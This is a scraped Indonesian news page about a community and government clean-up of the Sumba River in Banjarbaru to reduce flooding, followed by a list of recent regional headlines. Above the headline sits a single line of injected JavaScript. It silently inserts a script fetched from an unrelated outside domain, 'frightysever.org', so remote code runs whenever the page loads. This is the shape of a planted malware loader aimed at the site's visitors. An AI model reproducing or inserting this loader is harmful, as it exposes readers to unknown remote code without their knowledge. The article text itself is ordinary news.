(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Babarasih Sungai, Upaya Banjarbaru Dalam Mitigasi Banjir


KANALKALIMANTAN.COM, BANJARBARU – Kondisi Sungai Sumba dan bantarannya saat ini harus ditangani serius secara bersama. Sebab, kondisinya tertutup gulma dan rerumputan, bahkan aliran sungai dangkal akibat sedimentasi di sepanjang sungai di wilayah Kelurahan Guntung Manggis, Kecamatan Landasan Ulin.

Dalam upaya mitigasi banjir, warga Kelurahan Guntung Manggis bersama relawan Barisan Pemadam Kebakaran (BPK) se Kota Banjarbaru, Pemerintah Kota Banjarbaru, TNI dan Polri turun tangan membersihkan aliran Sungai Sumba, Minggu (29/5/2022) pagi.

Lurah Guntung Manggis, Zikru Rakhman, mengatakan, kondisi sungai sumba yang mengalami penyempitan terjadi akibat sedimentasi.

“Tanah di Sungai Sumba yang menjadi kendala, aliran sungai jadi menyempit, kalau secara manual membersihkannya memerlukan waktu yang cukup lama, sehingga kami berharap SKPD terkait lebih memperhatikan lagi Sungai Sumba agar tidak terjadi pendangkalan,” terangnya.

 

 

Baca juga: Ular Piton Masuk Dapur Warga Gambut, Jangan Ragu Panggil Damkar!

Zikru mengatakan kegiatan babarasih sungai yang diinisiasi Wali Kota Banjarbaru merupakan bentuk upaya pemerintah dalam mitigasi banjir.

Sementara itu, Wali Kota Banjarbaru, Aditya Mufti Ariffin mengatakan babarasih Sungai Sumba merupakan salah satu upaya yang dapat dilakukan untuk mitigasi bencana di Banjarbaru.

Babarasih aliran Sungai Sumba di Kelurahan Guntung Manggis, Landasan Ulin, Minggu (29/5/2022). Foto: ibnu

“Salah satu bentuk pencegahannya kita harus melaksanakan normalisasi terhadap aliran-aliran sungai yang ada di Kota Banjarbaru,” ucapnya.

Diakuinya, kalau pemerintah yang melakukan normalisasi sungai menurutnya tidak akan mampu, perlu adanya dukungan seluruh elemen yang ada di Kota Banjarbaru.

Masih kata Aditya, dirinya menginginkan kegiatan bebarasih rutin dijadwalkan, agar tercipta lingkungan yang selalu berkualitas.

“Kegiatan ini hendaknya terus kita tingkatkan, dengan melaksanakan pembersihan lingkungan secara simultan dan insidentil, jangan sesekali saja atau peringatan hari tertentu, tapi bisa kita jadikan agenda tetap, agar kondisi lingkungan selalu berkualitas,” tuntasnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

7 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

9 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

14 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

17 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

18 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

1 hari ago

This website uses cookies.